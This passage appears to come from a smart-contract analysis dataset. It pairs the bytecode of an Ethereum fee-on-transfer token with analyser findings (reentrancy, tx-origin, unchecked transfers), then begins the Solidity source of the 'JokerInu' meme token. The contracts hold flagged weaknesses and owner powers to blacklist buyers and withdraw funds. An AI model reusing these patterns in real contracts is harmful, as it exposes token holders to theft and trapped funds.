0x6080604052600436106102cd5760003560e01c80635ae9e94b1161017557806395f6f567116100dc578063d00efb2f11610095578063e03ae2bd1161006f578063e03ae2bd146107de578063ea2f0b37146107f3578063ec28438a14610813578063f9f92be414610833576102d4565b8063d00efb2f14610794578063dcebf63b146107a9578063dd62ed3e146107be576102d4565b806395f6f567146106ea578063a457c2d71461070a578063a63342311461072a578063a9059cbb1461073f578063c41ba8101461075f578063c49b9a8014610774576102d4565b80637d1db4a51161012e5780637d1db4a5146106765780637e66c0b91461065657806381a6731a1461068b57806388f82020146106a05780638da5cb5b146106c057806395d89b41146106d5576102d4565b80635ae9e94b146105c15780635d098b38146105e157806370a0823114610601578063715018a614610621578063725e076914610636578063764d72bf14610656576102d4565b8063313ce56711610234578063437823ec116101ed5780634e45e92a116101c75780634e45e92a1461054c57806352390c02146105615780635342acb414610581578063537df3b6146105a1576102d4565b8063437823ec1461050257806349bd5a5e146105225780634a74bb0214610537576102d4565b8063313ce5671461044b5780633685d4191461046d578063395093511461048d5780633b124fe7146104ad5780633f9b7607146104c2578063413550e3146104e2576102d4565b806313114a9d1161028657806313114a9d1461039d5780631694505e146103b257806318160ddd146103d457806323b872dd146103e957806329e04b4a146104095780632d8381191461042b576102d4565b806306fdde03146102d9578063084e4f8a14610304578063095d2d3314610331578063095ea7b31461035357806311704f521461037357806312db001614610388576102d4565b366102d457005b600080fd5b3480156102e557600080fd5b506102ee610853565b6040516102fb9190612ab6565b60405180910390f35b34801561031057600080fd5b5061032461031f3660046128c1565b6108e5565b6040516102fb9190612aab565b34801561033d57600080fd5b50610346610907565b6040516102fb9190612dd6565b34801561035f57600080fd5b5061032461036e366004612971565b61090d565b34801561037f57600080fd5b5061032461092b565b34801561039457600080fd5b50610324610934565b3480156103a957600080fd5b5061034661093d565b3480156103be57600080fd5b506103c7610943565b6040516102fb9190612a43565b3480156103e057600080fd5b50610346610967565b3480156103f557600080fd5b50610324610404366004612931565b61096d565b34801561041557600080fd5b506104296104243660046129e6565b6109f4565b005b34801561043757600080fd5b506103466104463660046129e6565b610a46565b34801561045757600080fd5b50610460610a87565b6040516102fb9190612e65565b34801561047957600080fd5b506104296104883660046128c1565b610a90565b34801561049957600080fd5b506103246104a8366004612971565b610c5b565b3480156104b957600080fd5b50610346610ca9565b3480156104ce57600080fd5b506104296104dd3660046129d4565b610caf565b3480156104ee57600080fd5b506104296104fd36600461299c565b610dde565b34801561050e57600080fd5b5061042961051d3660046128c1565b610e26565b34801561052e57600080fd5b506103c7610e7f565b34801561054357600080fd5b50610324610ea3565b34801561055857600080fd5b50610324610eb1565b34801561056d57600080fd5b5061042961057c3660046128c1565b610ebf565b34801561058d57600080fd5b5061032461059c3660046128c1565b610fed565b3480156105ad57600080fd5b506104296105bc3660046128c1565b61100b565b3480156105cd57600080fd5b506104296105dc3660046129e6565b611061565b3480156105ed57600080fd5b506104296105fc3660046128c1565b6110aa565b34801561060d57600080fd5b5061034661061c3660046128c1565b611107565b34801561062d57600080fd5b50610429611169565b34801561064257600080fd5b5061042961065136600461299c565b6111e8565b34801561066257600080fd5b506104296106713660046128c1565b611239565b34801561068257600080fd5b506103466112a3565b34801561069757600080fd5b506103466112a9565b3480156106ac57600080fd5b506103246106bb3660046128c1565b6112af565b3480156106cc57600080fd5b506103c76112cd565b3480156106e157600080fd5b506102ee6112dc565b3480156106f657600080fd5b5061042961070536600461299c565b6112eb565b34801561071657600080fd5b50610324610725366004612971565b61133a565b34801561073657600080fd5b506104296113a2565b34801561074b57600080fd5b5061032461075a366004612971565b6113ea565b34801561076b57600080fd5b506103246113fe565b34801561078057600080fd5b5061042961078f36600461299c565b61140d565b3480156107a057600080fd5b50610346611490565b3480156107b557600080fd5b50610324611496565b3480156107ca57600080fd5b506103466107d93660046128f9565b6114a5565b3480156107ea57600080fd5b506103466114d0565b3480156107ff57600080fd5b5061042961080e3660046128c1565b6114d6565b34801561081f57600080fd5b5061042961082e3660046129e6565b61152c565b34801561083f57600080fd5b5061042961084e3660046128c1565b611575565b6060600d805461086290612ee1565b80601f016020809104026020016040519081016040528092919081815260200182805461088e90612ee1565b80156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b5050505050905090565b6001600160a01b03811660009081526007602052604090205460ff165b919050565b60185481565b600061092161091a611655565b8484611659565b5060015b92915050565b60095460ff1681565b60195460ff1681565b600c5490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600a5490565b600061097a84848461170d565b6109ea84610986611655565b6109e585604051806060016040528060288152602001612f74602891396001600160a01b038a166000908152600460205260408120906109c4611655565b6001600160a01b031681526020810191909152604001600020549190611aa4565b611659565b5060019392505050565b6109fc611655565b6000546001600160a01b03908116911614610a325760405162461bcd60e51b8152600401610a2990612ccf565b60405180910390fd5b610a4081633b9aca00612eab565b601a5550565b6000600b54821115610a6a5760405162461bcd60e51b8152600401610a2990612b4c565b6000610a74611ade565b9050610a808382611613565b9392505050565b600f5460ff1690565b610a98611655565b6000546001600160a01b03908116911614610ac55760405162461bcd60e51b8152600401610a2990612ccf565b6001600160a01b03811660009081526006602052604090205460ff16610afd5760405162461bcd60e51b8152600401610a2990612c0f565b60005b600854811015610c5757816001600160a01b031660088281548110610b3557634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610c455760088054610b6090600190612eca565b81548110610b7e57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600880546001600160a01b039092169183908110610bb857634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600690925220805460ff191690556008805480610c1e57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610c57565b80610c4f81612f1c565b915050610b00565b5050565b6000610921610c68611655565b846109e58560046000610c79611655565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611b01565b60125481565b610cb7611655565b6000546001600160a01b03908116911614610ce45760405162461bcd60e51b8152600401610a2990612ccf565b6040516370a0823160e01b81526001600160a01b0383169063a9059cbb90839083906370a0823190610d1a903090600401612a43565b60206040518083038186803b158015610d3257600080fd5b505afa158015610d46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6a91906129fe565b6040518363ffffffff1660e01b8152600401610d87929190612a57565b602060405180830381600087803b158015610da157600080fd5b505af1158015610db5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd991906129b8565b505050565b610de6611655565b6000546001600160a01b03908116911614610e135760405162461bcd60e51b8152600401610a2990612ccf565b6019805460ff1916911515919091179055565b610e2e611655565b6000546001600160a01b03908116911614610e5b5760405162461bcd60e51b8152600401610a2990612ccf565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b7f0000000000000000000000006174816f13151c81ab2c21257d8031b3d6b6c7af81565b601654610100900460ff1681565b601954610100900460ff1681565b610ec7611655565b6000546001600160a01b03908116911614610ef45760405162461bcd60e51b8152600401610a2990612ccf565b6001600160a01b03811660009081526006602052604090205460ff1615610f2d5760405162461bcd60e51b8152600401610a2990612c0f565b6001600160a01b03811660009081526002602052604090205415610f87576001600160a01b038116600090815260026020526040902054610f6d90610a46565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600660205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6001600160a01b031660009081526005602052604090205460ff1690565b611013611655565b6000546001600160a01b039081169116146110405760405162461bcd60e51b8152600401610a2990612ccf565b6001600160a01b03166000908152600760205260409020805460ff19169055565b611069611655565b6000546001600160a01b039081169116146110965760405162461bcd60e51b8152600401610a2990612ccf565b6110a481633b9aca00612eab565b60185550565b6110b2611655565b6000546001600160a01b039081169116146110df5760405162461bcd60e51b8152600401610a2990612ccf565b600f80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b03811660009081526006602052604081205460ff161561114757506001600160a01b038116600090815260036020526040902054610902565b6001600160a01b03821660009081526002602052604090205461092590610a46565b611171611655565b6000546001600160a01b0390811691161461119e5760405162461bcd60e51b8152600401610a2990612ccf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6111f0611655565b6000546001600160a01b0390811691161461121d5760405162461bcd60e51b8152600401610a2990612ccf565b60198054911515620100000262ff000019909216919091179055565b611241611655565b6000546001600160a01b0390811691161461126e5760405162461bcd60e51b8152600401610a2990612ccf565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610c57573d6000803e3d6000fd5b60175481565b60135481565b6001600160a01b031660009081526006602052604090205460ff1690565b6000546001600160a01b031690565b6060600e805461086290612ee1565b6112f3611655565b6000546001600160a01b039081169116146113205760405162461bcd60e51b8152600401610a2990612ccf565b601980549115156101000261ff0019909216919091179055565b6000610921611347611655565b846109e585604051806060016040528060258152602001612f9c6025913960046000611371611655565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611aa4565b6113aa611655565b6000546001600160a01b039081169116146113d75760405162461bcd60e51b8152600401610a2990612ccf565b6009805460ff1916600117905543601155565b60006109216113f7611655565b848461170d565b60195462010000900460ff1681565b611415611655565b6000546001600160a01b039081169116146114425760405162461bcd60e51b8152600401610a2990612ccf565b6016805461ff001916610100831515021790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990611485908390612aab565b60405180910390a150565b60115481565b60165462010000900460ff1681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b601a5481565b6114de611655565b6000546001600160a01b0390811691161461150b5760405162461bcd60e51b8152600401610a2990612ccf565b6001600160a01b03166000908152600560205260409020805460ff19169055565b611534611655565b6000546001600160a01b039081169116146115615760405162461bcd60e51b8152600401610a2990612ccf565b61156f81633b9aca00612eab565b60175550565b61157d611655565b6000546001600160a01b039081169116146115aa5760405162461bcd60e51b8152600401610a2990612ccf565b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6000826115dd57506000610925565b60006115e98385612eab565b9050826115f68583612e8b565b14610a805760405162461bcd60e51b8152600401610a2990612c8e565b6000610a8083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b30565b3390565b6001600160a01b03831661167f5760405162461bcd60e51b8152600401610a2990612d92565b6001600160a01b0382166116a55760405162461bcd60e51b8152600401610a2990612b96565b6001600160a01b0380841660008181526004602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611700908590612dd6565b60405180910390a3505050565b6001600160a01b0383166117335760405162461bcd60e51b8152600401610a2990612d4d565b6001600160a01b0382166117595760405162461bcd60e51b8152600401610a2990612b09565b600081116117795760405162461bcd60e51b8152600401610a2990612d04565b601954610100900460ff16156117f2576117916112cd565b6001600160a01b0316836001600160a01b0316141580156117cb57506117b56112cd565b6001600160a01b0316826001600160a01b031614155b156117f2576017548111156117f25760405162461bcd60e51b8152600401610a2990612c46565b60195462010000900460ff16156118a5577f0000000000000000000000006174816f13151c81ab2c21257d8031b3d6b6c7af6001600160a01b0316836001600160a01b031614801561187657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b801561188b57506001600160a01b0382163014155b156118a557326001600160a01b038316146118a557600080fd5b60195460ff16156119af577f0000000000000000000000006174816f13151c81ab2c21257d8031b3d6b6c7af6001600160a01b0316836001600160a01b031614801561190a57506118f46112cd565b6001600160a01b0316836001600160a01b031614155b801561192f57506119196112cd565b6001600160a01b0316826001600160a01b031614155b801561196d57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b801561198257506001600160a01b0382163014155b156119af57600061199283611107565b6018549091506119a28284611b01565b11156119ad57600080fd5b505b60006119ba30611107565b905060175481106119ca57506017545b601a54811080159081906119e1575060165460ff16155b8015611a1f57507f0000000000000000000000006174816f13151c81ab2c21257d8031b3d6b6c7af6001600160a01b0316856001600160a01b031614155b8015611a325750601654610100900460ff165b15611a4557601a549150611a4582611b5e565b6001600160a01b03851660009081526005602052604090205460019060ff1680611a8757506001600160a01b03851660009081526005602052604090205460ff165b15611a90575060005b611a9c86868684611ccb565b505050505050565b60008184841115611ac85760405162461bcd60e51b8152600401610a299190612ab6565b506000611ad58486612eca565b95945050505050565b6000806000611aeb611f89565b9092509050611afa8282611613565b9250505090565b600080611b0e8385612e73565b905083811015610a805760405162461bcd60e51b8152600401610a2990612bd8565b60008183611b515760405162461bcd60e51b8152600401610a299190612ab6565b506000611ad58486612e8b565b6016805460ff191660011790556000611b78826003611613565b90506000611b916001611b8b8585612146565b90612146565b90506000611ba0836002611613565b9050611bac8382612146565b6010546001600160a01b0316600090815260026020526040902054909350611bd49082611b01565b6010546001600160a01b0316600090815260026020819052604082209290925590611c00908590611613565b90506000611c0e8583612146565b905047611c1a83612188565b6000611c264783612146565b9050611c32838261236b565b611c3b86612188565b600f546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611c7b573d6000803e3d6000fd5b507f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561848285604051611caf93929190612e4f565b60405180910390a150506016805460ff19169055505050505050565b6001600160a01b03841660009081526007602052604090205460ff16158015611d0d57506001600160a01b03831660009081526007602052604090205460ff16155b611d1657600080fd5b60165462010000900460ff1615611de6576011544311158015611d6a57507f0000000000000000000000006174816f13151c81ab2c21257d8031b3d6b6c7af6001600160a01b0316846001600160a01b0316145b8015611da857507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b8015611dbd57506001600160a01b0383163014155b15611de6576001600160a01b0383166000908152600760205260409020805460ff191660011790555b60095460ff16611e1557611df86112cd565b6001600160a01b0316846001600160a01b031614611e1557600080fd5b80611e2257611e2261244e565b6001600160a01b03841660009081526006602052604090205460ff168015611e6357506001600160a01b03831660009081526006602052604090205460ff16155b15611e7857611e73848484612480565b611f76565b6001600160a01b03841660009081526006602052604090205460ff16158015611eb957506001600160a01b03831660009081526006602052604090205460ff165b15611ec957611e738484846125a4565b6001600160a01b03841660009081526006602052604090205460ff16158015611f0b57506001600160a01b03831660009081526006602052604090205460ff16155b15611f1b57611e7384848461264d565b6001600160a01b03841660009081526006602052604090205460ff168015611f5b57506001600160a01b03831660009081526006602052604090205460ff165b15611f6b57611e73848484612691565b611f7684848461264d565b80611f8357611f83612704565b50505050565b600b54600a546000918291825b60085481101561211457826002600060088481548110611fc657634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061203f575081600360006008848154811061201857634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561205657600b54600a5494509450505050612142565b6120aa600260006008848154811061207e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612146565b925061210060036000600884815481106120d457634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612146565b91508061210c81612f1c565b915050611f96565b50600a54600b5461212491611613565b82101561213c57600b54600a54935093505050612142565b90925090505b9091565b6000610a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aa4565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106121cb57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561224457600080fd5b505afa158015612258573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061227c91906128dd565b8160018151811061229d57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250506122e8307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611659565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac9479061233d908590600090869030904290600401612ddf565b600060405180830381600087803b15801561235757600080fd5b505af1158015611a9c573d6000803e3d6000fd5b612396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611659565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806123d36112cd565b426040518863ffffffff1660e01b81526004016123f596959493929190612a70565b6060604051808303818588803b15801561240e57600080fd5b505af1158015612422573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124479190612a16565b5050505050565b60125415801561245e5750601354155b156124685761247e565b6012805460145560138054601555600091829055555b565b60008060008060008061249287612712565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506124c49088612146565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546124f39087612146565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546125229086611b01565b6001600160a01b03891660009081526002602052604090205561254481612761565b61254e84836127e9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125919190612dd6565b60405180910390a3505050505050505050565b6000806000806000806125b687612712565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506125e89087612146565b6001600160a01b03808b16600090815260026020908152604080832094909455918b1681526003909152205461261e9084611b01565b6001600160a01b0389166000908152600360209081526040808320939093556002905220546125229086611b01565b60008060008060008061265f87612712565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506124f39087612146565b6000806000806000806126a387612712565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506126d59088612146565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546125e89087612146565b601454601255601554601355565b60008060008060008060008060006127298a61280d565b92509250925060008060006127478d8686612742611ade565b612871565b919f909e50909c50959a5093985091965092945050505050565b600061276b611ade565b9050600061277983836115ce565b306000908152600260205260409020549091506127969082611b01565b3060009081526002602090815260408083209390935560069052205460ff1615610dd957306000908152600360205260409020546127d49084611b01565b30600090815260036020526040902055505050565b600b546127f69083612146565b600b55600c546128069082611b01565b600c555050565b600080600080612833606461282d601254886115ce90919063ffffffff16565b90611613565b90506000612851606461282d601354896115ce90919063ffffffff16565b9050600061286382611b8b8986612146565b979296509094509092505050565b600080808061288088866115ce565b9050600061288e88876115ce565b9050600061289c88886115ce565b905060006128ae82611b8b8686612146565b939b939a50919850919650505050505050565b6000602082840312156128d2578081fd5b8135610a8081612f4d565b6000602082840312156128ee578081fd5b8151610a8081612f4d565b6000806040838503121561290b578081fd5b823561291681612f4d565b9150602083013561292681612f4d565b809150509250929050565b600080600060608486031215612945578081fd5b833561295081612f4d565b9250602084013561296081612f4d565b929592945050506040919091013590565b60008060408385031215612983578182fd5b823561298e81612f4d565b946020939093013593505050565b6000602082840312156129ad578081fd5b8135610a8081612f65565b6000602082840312156129c9578081fd5b8151610a8081612f65565b6000806040838503121561290b578182fd5b6000602082840312156129f7578081fd5b5035919050565b600060208284031215612a0f578081fd5b5051919050565b600080600060608486031215612a2a578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b81811015612ae257858101830151858201604001528201612ac6565b81811115612af35783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015612e2e5784516001600160a01b031683529383019391830191600101612e09565b50506001600160a01b03969096166060850152505050608001529392505050565b9283526020830191909152604082015260600190565b60ff91909116815260200190565b60008219821115612e8657612e86612f37565b500190565b600082612ea657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612ec557612ec5612f37565b500290565b600082821015612edc57612edc612f37565b500390565b600281046001821680612ef557607f821691505b60208210811415612f1657634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612f3057612f30612f37565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114612f6257600080fd5b50565b8015158114612f6257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122084ed468fe255cafd55ecb70d5afd4eec421c4b1f17816d38669557159bdf6af164736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,801
0x0cc1a4874732579d0251f97b31909c843538dc06
/** *Submitted for verification at Etherscan.io on 2021-07-05 */ // SPDX-License-Identifier: Unlicensed /* Website: www.jokerinu.com Telegram: https://t.me/jokerinutoken ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢦⠙⢿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⢯⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢃⠛⢿⣿⣿⣿⣿⣿ ⣿⣿⣿⢧⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡕⠂⠈⢻⣿⣿⣿⣿ ⣿⣿⡅⣻⡿⢿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠿⢿⣿⡇⠀⠀⠈⣿⣿⣿⣿ ⣿⣿⠀⠀⠀⠘⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⣹⣿⣿⣿ ⣿⣿⠀⠀⠀⠀⣿⣿⡿⠿⠛⠻⣿⣿⣿⣿⡿⠟⠁⠈⠀⠉⠻⡆⠀⠀⠀⣿⣿⣿ ⣿⣯⠄⠂⠀⠀⣿⡋⠀⢀⠀⠀⠀⠉⣿⣿⡀⠀⠀⠘⠓⣠⣶⣿⡀⠀⠀⠘⣿⣿ ⣿⣫⡆⠀⠀⢀⣿⣷⣶⣄⠀⢀⣤⣴⣿⣿⣿⣶⣄⠀⣴⣿⣿⣿⠁⠀⠀⠀⠘⣿ ⣿⣿⠁⠀⠀⡤⠙⢿⣿⣿⣷⣾⣿⡿⣿⣿⢿⠿⣿⣧⣿⣿⡿⢣⠀⠀⠀⠀⢠⣿ ⣷⣌⠈⠀⠀⠀⠀⣆⠈⡉⢹⣿⣿⣆⡀⠀⠀⢠⣿⣿⣿⡿⢃⣼⠀⠀⠀⠀⣸⣿ ⣿⣿⡇⠀⠀⠀⠀⠙⢿⣿⣆⠈⠛⠛⠛⠀⠀⠈⠉⠁⠀⢠⣿⠇⠀⠀⠀⠹⢿⡇ ⣿⡫⠀⠀⠁⠀⠀⠀⠈⠻⣿⢢⣄⠀⠀⠀⠀⠀⣀⣠⣾⡾⠋⠀⠀⠀⠀⢀⠴⠋ ⣿⣁⠄⠀⠀⠀⣀⠀⠀⠀⠈⠛⠿⣿⣿⣿⣿⣿⠿⡿⠋⠀⠀⠀⠀⠀⣀⠬⠆⢀ ⣿⣿⣧⣄⠀⠀⠉⠀⠀⠀⠀⠀⠀⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠠⠙ ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── ─────────██████─██████████████─██████──████████─██████████████─████████████████──────██████████─██████──────────██████─██████──██████─ ─────────██░░██─██░░░░░░░░░░██─██░░██──██░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░░░██──────██░░░░░░██─██░░██████████──██░░██─██░░██──██░░██─ ─────────██░░██─██░░██████░░██─██░░██──██░░████─██░░██████████─██░░████████░░██──────████░░████─██░░░░░░░░░░██──██░░██─██░░██──██░░██─ ─────────██░░██─██░░██──██░░██─██░░██──██░░██───██░░██─────────██░░██────██░░██────────██░░██───██░░██████░░██──██░░██─██░░██──██░░██─ ─────────██░░██─██░░██──██░░██─██░░██████░░██───██░░██████████─██░░████████░░██────────██░░██───██░░██──██░░██──██░░██─██░░██──██░░██─ ─────────██░░██─██░░██──██░░██─██░░░░░░░░░░██───██░░░░░░░░░░██─██░░░░░░░░░░░░██────────██░░██───██░░██──██░░██──██░░██─██░░██──██░░██─ ─██████──██░░██─██░░██──██░░██─██░░██████░░██───██░░██████████─██░░██████░░████────────██░░██───██░░██──██░░██──██░░██─██░░██──██░░██─ ─██░░██──██░░██─██░░██──██░░██─██░░██──██░░██───██░░██─────────██░░██──██░░██──────────██░░██───██░░██──██░░██████░░██─██░░██──██░░██─ ─██░░██████░░██─██░░██████░░██─██░░██──██░░████─██░░██████████─██░░██──██░░██████────████░░████─██░░██──██░░░░░░░░░░██─██░░██████░░██─ ─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░██──██░░░░██─██░░░░░░░░░░██─██░░██──██░░░░░░██────██░░░░░░██─██░░██──██████████░░██─██░░░░░░░░░░██─ ─██████████████─██████████████─██████──████████─██████████████─██████──██████████────██████████─██████──────────██████─██████████████─ ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract JokerInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "JokerInu (https://t.me/jokerinutoken)"; string private constant _symbol = "JokerInu"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 20; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private 